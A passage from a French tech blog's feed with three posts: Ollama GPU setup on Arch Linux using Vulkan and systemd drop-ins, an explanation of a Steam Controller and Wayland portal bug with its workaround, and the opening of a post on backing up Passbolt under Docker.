attr-value" style="color:#e3116c">"</span><br></div></code></pre></div></div>
<p>Puis on recharge et on redémarre :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl daemon-reload</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl restart ollama.service</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Pourquoi un drop-in et pas une édition directe ?</div><div class="admonitionContent_BuS1"><p>Le fichier <code>/usr/lib/systemd/system/ollama.service</code> appartient au paquet <code>ollama-vulkan</code>. Toute modification y serait <strong>perdue à la prochaine mise à jour</strong>. Le dossier <code>/etc/systemd/system/&lt;unit&gt;.service.d/</code> est en revanche ta zone : systemd y cherche automatiquement les drop-ins après avoir chargé l'unité principale, et les appliques par-dessus. C'est la méthode propre, supportée, et persistante.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-piège-du-dual-gpu">Le piège du dual-GPU<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#le-pi%C3%A8ge-du-dual-gpu" class="hash-link" aria-label="Lien direct vers Le piège du dual-GPU" title="Lien direct vers Le piège du dual-GPU" translate="no">​</a></h2>
<p>Au redémarrage du service, les logs montrent enfin la détection GPU. Mais dans mon cas, <strong>deux</strong> devices apparaissent :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">library=Vulkan name=Vulkan0 description="AMD Radeon RX 6800M (RADV NAVI22)"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    pci_id=0000:03:00.0 type=discrete total="12.0 GiB"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">library=Vulkan name=Vulkan1 description="AMD Radeon 680M (RADV REMBRANDT)"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    pci_id=0000:37:00.0 type=iGPU total="15.8 GiB"</span><br></div></code></pre></div></div>
<p>Le second device, c'est l'iGPU Radeon 680M intégré à mon Ryzen 6000. Et là il y a un piège majeur : Ollama additionne les deux mémoires (<code>total_vram="27.8 GiB"</code>) et calcule un contexte par défaut généreux en supposant qu'il peut splitter un modèle sur les deux GPU. Sauf que :</p>
<ul>
<li class="">L'iGPU n'a <strong>pas de VRAM physique</strong> : ses "15.8 GiB" sont une fenêtre allouée dynamiquement sur la RAM système.</li>
<li class="">La bande passante DDR5 dual-channel tourne autour de 85 Go/s, contre ~448 Go/s pour la GDDR6 de la dGPU.</li>
<li class="">Splitter un modèle entre les deux fait que la dGPU <strong>attend</strong> systématiquement l'iGPU à chaque batch.</li>
</ul>
<p>Bilan : un seul GPU lent peut diviser par 3 ou 4 la vitesse d'inférence du tandem. On veut donc forcer Ollama à n'utiliser <strong>que</strong> la dGPU.</p>
<p>La variable qui fait le filtrage côté Vulkan s'appelle <code>GGML_VK_VISIBLE_DEVICES</code> (sémantique identique à <code>CUDA_VISIBLE_DEVICES</code> côté NVIDIA) :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl edit ollama.service</span><br></div></code></pre></div></div>
<div class="language-ini codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-ini codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token section punctuation" style="color:#393A34">[</span><span class="token section section-name selector" style="color:#00009f">Service</span><span class="token section punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Environment</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">"</span><span class="token value attr-value inner-value" style="color:#e3116c">OLLAMA_VULKAN=1</span><span class="token value attr-value" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Environment</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">"</span><span class="token value attr-value inner-value" style="color:#e3116c">GGML_VK_VISIBLE_DEVICES=0</span><span class="token value attr-value" style="color:#e3116c">"</span><br></div></code></pre></div></div>
<p>Le <code>0</code> ici correspond à l'index <code>Vulkan0</code> dans les logs, c'est-à-dire la dGPU. Pour les autres backends, les équivalents existent : <code>ROCR_VISIBLE_DEVICES</code> pour ROCm, <code>CUDA_VISIBLE_DEVICES</code> pour NVIDIA.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Vérifier l'index avant de filtrer</div><div class="admonitionContent_BuS1"><p>L'ordre d'énumération <code>Vulkan0</code> / <code>Vulkan1</code> n'est pas garanti d'un boot à l'autre, surtout après une mise à jour du kernel ou un changement de hardware. Vérifie toujours dans les logs <strong>avant</strong> de positionner la variable.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="vérification-finale">Vérification finale<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#v%C3%A9rification-finale" class="hash-link" aria-label="Lien direct vers Vérification finale" title="Lien direct vers Vérification finale" translate="no">​</a></h2>
<p>Après le restart, les logs doivent montrer :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">inference compute id=00000000-0300-0000-0000-000000000000 library=Vulkan</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    name=Vulkan0 description="AMD Radeon RX 6800M (RADV NAVI22)"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    total="12.0 GiB" available="11.X GiB"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">"vram-based default context" total_vram="12.0 GiB" default_num_ctx=...</span><br></div></code></pre></div></div>
<p>Une seule ligne <code>inference compute</code>, 12 GiB de VRAM annoncés, l'iGPU n'apparaît plus. À ce stade, en chargeant un modèle :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ollama </span><span class="token function" style="color:#d73a49">ps</span><br></div></code></pre></div></div>
<p>La colonne <code>PROCESSOR</code> doit afficher <code>100% GPU</code>. Si ce n'est pas le cas (offloading partiel CPU/GPU), c'est que le modèle ne rentre pas en VRAM et qu'il faut envisager une quantization plus agressive ou un modèle plus petit.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="bonus--lire-journalctl-sans-sarracher-les-cheveux">Bonus : lire <code>journalctl</code> sans s'arracher les cheveux<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#bonus--lire-journalctl-sans-sarracher-les-cheveux" class="hash-link" aria-label="Lien direct vers bonus--lire-journalctl-sans-sarracher-les-cheveux" title="Lien direct vers bonus--lire-journalctl-sans-sarracher-les-cheveux" translate="no">​</a></h2>
<p>La ligne <code>server config</code> d'Ollama est large comme un boulevard (toute la map des variables d'env sur une seule ligne), ce qui rend la lecture pénible. Quelques options qui aident :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Sortie sans préfixes timestamp + hostname + unité</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">journalctl </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> ollama.service </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> --no-pager</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Limiter au boot courant uniquement</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">journalctl </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> ollama.service </span><span class="token parameter variable" style="color:#36acaa">-b</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Suivre en temps réel</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">journalctl </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> ollama.service </span><span class="token parameter variable" style="color:#36acaa">-f</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Filtrer la ligne pénible</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">journalctl </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> ollama.service </span><span class="token parameter variable" style="color:#36acaa">-b</span><span class="token plain"> --no-pager </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-v</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'server config'</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Combo confortable</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">journalctl </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> ollama.service </span><span class="token parameter variable" style="color:#36acaa">-b</span><span class="token plain"> --no-hostname </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> short-iso</span><br></div></code></pre></div></div>
<p>Quelques rappels rapides sur les flags :</p>
<ul>
<li class=""><code>-u &lt;unit&gt;</code> : filtre sur une unité systemd précise.</li>
<li class=""><code>-b</code> : <code>--boot</code>, ne montre que les logs du boot courant. <code>-b -1</code> pour le boot précédent.</li>
<li class=""><code>-o &lt;format&gt;</code> : format de sortie. <code>cat</code> enlève tous les préfixes, <code>short-iso</code> met un timestamp ISO compact.</li>
<li class=""><code>--no-pager</code> : court-circuite <code>less</code>, utile pour piper la sortie.</li>
<li class=""><code>-f</code> (follow) et <code>-e</code> (end) : équivalents de <code>tail -f</code> et <code>tail -n</code> sur les fichiers de log classiques.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#conclusion" class="hash-link" aria-label="Lien direct vers Conclusion" title="Lien direct vers Conclusion" translate="no">​</a></h2>
<p>Ce qui m'a coûté le plus de temps n'était ni la commande à taper ni la conf à écrire — c'était de comprendre que le binaire <code>ollama</code> du dépôt Arch est <strong>CPU-only</strong> par design, et qu'il fallait spécifiquement choisir <code>ollama-vulkan</code> ou <code>ollama-rocm</code>. Les variables d'environnement comme <code>OLLAMA_VULKAN=1</code> n'activent rien si le runtime correspondant n'est pas linké dans le binaire.</p>
<p>Au final, le diagnostic d'un "GPU non détecté" sous Linux passe par trois questions, dans cet ordre :</p>
<ol>
<li class="">Le module kernel est-il chargé ? (<code>lspci -k</code>, vérifier <code>Kernel driver in use: amdgpu</code> ou équivalent NVIDIA)</li>
<li class="">La stack compute (Vulkan/ROCm/CUDA) est-elle installée et fonctionnelle ? (<code>vulkaninfo --summary</code>, <code>rocminfo</code>, <code>nvidia-smi</code>)</li>
<li class="">Le binaire de l'application est-il <strong>compilé avec</strong> ce backend ? (à vérifier paquet par paquet — c'est ici que le piège se cache souvent)</li>
</ol>
<p>La couche 1 est rarement le problème sur du matériel moderne. La couche 2 est ce qu'on suspecte en premier mais souvent OK. La couche 3 est celle qu'on oublie, et qui m'a fait perdre une bonne soirée.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="Système" term="Système"/>
        <category label="Linux" term="Linux"/>
        <category label="IA" term="IA"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Mes mésaventures Linux de la semaine]]></title>
        <id>https://docs.bastienbonora.fr/blog/MesMesaventuresLinux</id>
        <link href="https://docs.bastienbonora.fr/blog/MesMesaventuresLinux"/>
        <updated>2026-05-16T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Voilà alors que la semaine s'achève et que je reçois enfin ma Steam controller, je décide alors de jouer toute la nuit pour découvrir ce nouveau périphérique. Après tout qu'est-ce qu'il pourrait mal se passer ?]]></summary>
        <content type="html"><![CDATA[<p>Voilà alors que la semaine s'achève et que je reçois enfin ma <a href="https://store.steampowered.com/sale/steamcontroller?l=french" target="_blank" rel="noopener noreferrer" class="">Steam controller</a>, je décide alors de jouer toute la nuit pour découvrir ce nouveau périphérique. Après tout qu'est-ce qu'il pourrait mal se passer ?</p>
<p>D'un côté je me dis heureusement que ce genre de journée ne m'arrive pas souvent, car elles ont beau être plus qu'instructives, elles n'en restent pas moin déplaisante lorsque la seule envie que j'avais était de revenir sur expédition 33.</p>
<p>Avant de commencer, une petite mise en bouche ne fait pas de mal : <a href="https://github.com/ValveSoftware/steam-for-linux/issues/10442" target="_blank" rel="noopener noreferrer" class="">Github - issue #10442</a>.
Oui cette erreur date de 2024 et n'est toujours pas à ce jour corrigée...</p>
<p>Malgré ça, j'ai tout de même pu jouer avec, après beaucoup, beaucoup de mal.</p>
<p>Tout a commencé lorsque j'ai vu l'erreur s'afficher à mon écran. Ce magnifique pop-up qui me demande de faire un partage d'écran avec ma manette, après tout pourquoi pas ? tout irait bien si derrière chaque bouton de la manette ne se comportait pas comme un périphérique clavier/souris.
Donc, comme tout utilisateur Linux, je me dis "Ça doit être une mise à jour" -&gt; <strong>BOOOM</strong> - une mise à jour sauvage de 35Go apparaît (ça devait faire une bail que je n'avais pas mis à jour mon poste).</p>
<p>Et quelle fut ma surprise de découvrir au démarrage de mon poste que, je n'ai plus de bluetooth 🙂.
Vous pourrez comprendre assez vite pourquoi j'ai voulu créer une nouvelle section dans ma documentation ici : <a class="" href="https://docs.bastienbonora.fr/docs/Debug/panneBluetoothmt7922">Bastodoc - Debug</a>. J'explique ici tout ce que j'ai appris, mais aussi tout le cheminement que j'ai parcouru pour finalement me dire "Bon... ça a vraiment l'air d'être un bug moyennement sympa".</p>
<p>Donc pour le moment, je n'ai plus de bluetooth, heureusement que j'ai ma super manette Steam qui utilise le PUC pour connecter en sans fil la manette (RIP ma pauvre manette Xbox que je n'utilisais qu'en bluetooth).</p>
<p>Ducoup, vu que je suis dans ma période explication, on fonce droit dedan :</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="comment-ton-os-voit-ta-manette">Comment ton OS "voit" ta manette<a href="https://docs.bastienbonora.fr/blog/MesMesaventuresLinux#comment-ton-os-voit-ta-manette" class="hash-link" aria-label="Lien direct vers Comment ton OS &quot;voit&quot; ta manette" title="Lien direct vers Comment ton OS &quot;voit&quot; ta manette" translate="no">​</a></h2>
<p>Quand tu branches une manette USB ou Bluetooth, elle ne parle pas un langage propre à elle-même. La quasi-totalité des périphériques d'input modernes utilisent un protocole standardisé : <strong>HID</strong> (<em>Human Interface Device</em>). C'est un protocole qui définit comment décrire les contrôles d'un périphérique (boutons, axes analogiques, accéléromètres, etc.) et comment transmettre leurs états via des <em>rapports HID</em>. Une souris USB envoie des rapports HID. Un clavier USB envoie des rapports HID. Une manette de jeu aussi.</p>
<p>Côté Linux, voici la chaîne qui se met en place :</p>
<!-- -->
<p>Le driver <code>usbhid</code> (ou <code>hid-generic</code>) reçoit les rapports HID bruts, lit le <em>descripteur</em> envoyé par le périphérique au moment du branchement, et <strong>interprète ce que chaque rapport veut dire</strong>. Si le descripteur déclare "je suis une souris avec deux axes et trois boutons", le kernel expose un device souris. S'il déclare "je suis une manette avec deux sticks, dix boutons et un D-pad", le kernel expose une manette.</p>
<p>Tous les events parviennent ensuite aux applications via les fichiers spéciaux dans <code>/dev/input/</code>. L'API moderne s'appelle <strong>evdev</strong> (event device) et c'est elle que toutes les applications sérieuses utilisent : Wayland, X11, SDL, libinput, et donc Steam. Il existe aussi une vieille API joystick (<code>/dev/input/js*</code>) gardée pour la compatibilité, mais elle est dépréciée.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-cas-particulier-de-la-steam-controller">Le cas particulier de la Steam Controller<a href="https://docs.bastienbonora.fr/blog/MesMesaventuresLinux#le-cas-particulier-de-la-steam-controller" class="hash-link" aria-label="Lien direct vers Le cas particulier de la Steam Controller" title="Lien direct vers Le cas particulier de la Steam Controller" translate="no">​</a></h2>
<p>Là où ça devient intéressant — et où l'origine du bug se cache — c'est que la Steam Controller est un périphérique <strong>bimodal</strong>. Ses descripteurs HID déclarent au kernel : "je suis un clavier <em>et</em> une souris". Pas une manette. Quand tu la branches en l'absence de Steam, le kernel la voit comme un combo K/M, et chaque interaction avec la manette produit donc des événements clavier ou souris.</p>
<p>C'est volontaire, et c'est même intelligent : ça permet à la manette de fonctionner <em>sans logiciel</em> sur n'importe quelle machine, pour naviguer dans un menu Steam ou un jeu non-Steam, sans avoir besoin d'un driver spécial. C'est le fameux mode "lizard" (Valve l'appelle comme ça en interne).</p>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_BuS1"><p>C'est là que c'est marrant. On branche la manette sans allumer Steam, elle se comporte comme une souris / clavier, et ça marche nikel.
On allume Steam, et là c'est le drame, peu importe quel input on fait, le pop-up apparaît</p></div></div>
<p>Quand Steam tourne, il prend la main différemment. Au lieu de laisser le kernel interpréter les rapports HID, Steam ouvre un accès direct au périphérique HID (via <code>/dev/hidraw*</code>, qui contourne l'interprétation evdev), parle son propre protocole avec la puce de la manette, et reçoit des données beaucoup plus riches : positions des trackpads, accéléromètre, force des trigger analogiques, etc.</p>
<p>Steam crée ensuite en parallèle un <strong>périphérique virtuel</strong> côté kernel, via une interface qui s'appelle <strong>uinput</strong> (<em>user input</em>). Uinput permet à un programme userspace de simuler un périphérique d'input comme s'il était physiquement branché — il apparaît dans <code>/dev/input/</code>, génère des events evdev, et les applications le voient comme n'importe quel autre périphérique.</p>
<!-- -->
<p>C'est ça, la magie de Steam Input : il fait croire à n'importe quel jeu (même un vieux jeu DirectInput) qu'il est connecté à une manette Xbox standard, alors que physiquement tu peux avoir une Steam Controller, une DualSense, une manette générique chinoise, ou même un clavier mappé via la fonction "configuration manette" de Steam.</p>
<p>Les <em>templates</em> dont parlent les forums sont les profils de mapping : "le bouton physique A → l'input virtuel A", ou plus créatif, "le trackpad droit → la souris dans l'OS", etc.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-race-condition-qui-produit-le-bug">La race condition qui produit le bug<a href="https://docs.bastienbonora.fr/blog/MesMesaventuresLinux#la-race-condition-qui-produit-le-bug" class="hash-link" aria-label="Lien direct vers La race condition qui produit le bug" title="Lien direct vers La race condition qui produit le bug" translate="no">​</a></h2>
<p>Maintenant le bug : sur Wayland, quand Steam veut <strong>envoyer des inputs synthétiques à d'autres fenêtres</strong> — ce qu'il fait pour son overlay, pour ses raccourcis clavier globaux, et pour injecter les inputs de la Steam Controller dans les jeux — il se heurte à un mur architectural.</p>
<p>Sur X11, n'importe quelle application pouvait faire <code>XGrabKeyboard()</code> ou <code>XSendEvent()</code> pour intercepter ou injecter des événements globalement. C'était puissant mais aussi dangereux pour la sécurité (un keylogger pouvait s'installer sans aucun privilège). Wayland a fait un choix radical de sécurité : <strong>chaque application ne voit que ses propres événements</strong>, et ne peut pas injecter dans les autres.</p>
<p>Pour les usages légitimes (logiciels d'accessibilité, automation, contrôle à distance, et donc aussi Steam), Wayland passe par <strong>xdg-desktop-portal</strong>. C'est une couche d'API standardisée, conçue à la base pour les applications Flatpak, qui sert d'intermédiaire entre l'app et le compositeur Wayland. Quand une app veut faire quelque chose de sensible (capturer l'écran, accéder à la webcam, injecter des inputs), elle demande à xdg-desktop-portal, qui affiche une boîte de dialogue de consentement à l'utilisateur, et seulement si l'utilisateur accepte, le compositeur autorise l'action.</p>
<p>L'interface du portal qui couvre l'injection d'inputs s'appelle <strong>RemoteDesktop</strong>, et son nom est trompeur : techniquement, "injecter des inputs dans d'autres fenêtres" et "permettre un contrôle à distance" sont la même primitive système. Du coup, quand Steam demande l'accès à cette interface, le portal affiche la fameuse pop-up "Une application veut partager votre écran et contrôler votre souris/clavier". C'est techniquement honnête mais visuellement effrayant pour le contexte "je viens juste de brancher une manette".</p>
<p>Et le bug <code>#10442</code> vient du fait que Steam :</p>
<ol>
<li class="">Détecte la connexion de la Steam Controller.</li>
<li class="">Envoie immédiatement la requête à xdg-desktop-portal pour la permission RemoteDesktop.</li>
<li class=""><strong>Pendant ce temps</strong>, la manette est toujours en mode "lizard" (le kernel l'interprète comme K/M).</li>
<li class="">Chaque pression de bouton produit donc des événements clavier/souris <em>qui se propagent dans la fenêtre active</em> — y compris la pop-up de demande de consentement, ce qui peut la valider involontairement, et plus généralement dans tout ce qui se trouve sous le pointeur.</li>
<li class="">Idéalement, Steam devrait d'abord prendre le contrôle exclusif du périphérique via hidraw (passer la manette en mode "Steam Input natif") <strong>avant</strong> de demander le portal. Mais l'ordre actuel des opérations dans Steam fait l'inverse.</li>
</ol>
<p>C'est une race condition au sens classique du terme : le bug n'existe pas dans le code de l'un ou de l'autre composant pris isolément, il vit dans <strong>l'ordonnancement</strong> des deux opérations. Et c'est exactement le genre de bug que Valve a du mal à corriger parce qu'il dépend du compositeur Wayland utilisé, de la version du portal, de la rapidité de la machine à afficher la pop-up, etc. Sur des configurations rapides, certains utilisateurs n'ont pas le bug ; sur des configurations plus lentes ou avec un compositeur particulier, il est systématique.</p>
<p>Pour ma part, après certains redémarrage, je n'ai aucun souci, mais alors vraiment aucun. Et à d'autres moments tout plance. Maintenant place à la solution</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-solution">La solution<a href="https://docs.bastienbonora.fr/blog/MesMesaventuresLinux#la-solution" class="hash-link" aria-label="Lien direct vers La solution" title="Lien direct vers La solution" translate="no">​</a></h2>
<p>Premièrement, on allume Steam on lance son meilleur jeux et on essaie d'utiliser sa manette. C'est avec un air particulièrement contrarié que l'on découvre ce misérable pop-up qui rend notre vie si difficile.</p>
<p>Toujours pendant que vous êtes en jeu, allez sur Steam dans la page du jeu de votre bibliothèque, vous devriez avoir sur la droite un paramètre <code>Voir les paramètres de la manette</code> ou quelque chose comme ça.</p>
<p>Dans ce menu, il faut impérativement que tous les inputs de la manette soient des boutons utilisable en jeux. Certains preset de la communauté permettent déjà ça. Pour mon cas, si un seul endroit était marqué comme <code>souris</code>, je pop-up revenait de manière incessante.</p>
<p>Une fois fait, de retour dans votre jeux, vous devriez être plus calme posé car ce pop-up n'apparaît plus.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="Système" term="Système"/>
        <category label="Linux" term="Linux"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Sauvegarder sa base passbolt de manière sécurisée sous docker]]></title>
        <id>https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker</id>
        <link href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker"/>
        <updated>2026-05-12T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Passbolt, c'est génial. Open source, auto-hébergeable, chiffré de bout en bout côté client, parfait pour gérer ses mots de passe à la maison ou en équipe. Mais comme tout outil critique, un Passbolt sans sauvegarde est une bombe à retardement. Une mauvaise manip, un disque qui lâche, un container qu'on supprime un peu trop vite, et c'est des années de credentials qui partent en fumée.]]></summary>
        <content type="html"><![CDATA[<p>Passbolt, c'est génial. Open source, auto-hébergeable, chiffré de bout en bout côté client, parfait pour gérer ses mots de passe à la maison ou en équipe. Mais comme tout outil critique, <strong>un Passbolt sans sauvegarde est une bombe à retardement</strong>. Une mauvaise manip, un disque qui lâche, un container qu'on supprime un peu trop vite, et c'est des années de credentials qui partent en fumée.</p>
<p>Dans cet article, je détaille la solution que j'ai mise en place sur mon homelab : <strong>un Passbolt en Docker derrière Nginx Proxy Manager, avec une sauvegarde quotidienne automatisée vers un Nextcloud, le tout chiffré et orchestré par systemd</strong>. Je vais expliquer non seulement le <em>quoi</em>, mais surtout le <em>pourquoi</em> de chaque choix, parce que c'est là que se cache l'intérêt de l'exercice.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="contexte-et-objectifs">Contexte et objectifs<a href="https://docs.bastienbonora.fr/blog/Sauvegarde-securise-passbolt-docker#contexte-et-objectifs" class="hash-link" aria-label="Lien direct vers Contexte et objectifs" title="Lien direct vers Contexte et objectifs" translate="no">​</a></h2>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_BuS1"><p>Petite présition avant de commencer. Vous vous direz probablement "<em>Oui, mais avec une sauvegarde de la VM, tout est bon</em>", en effet. Cependant, il suffit d'une fausse manip réseau, un coupure générale ou un incident assez grave pour que vous perdiez tout. Avoir une sauvegarde dans un système de fichier synchronisé (nextcloud se synchronise en local) permet de palier à ces situations d'urgence</p></div></div>
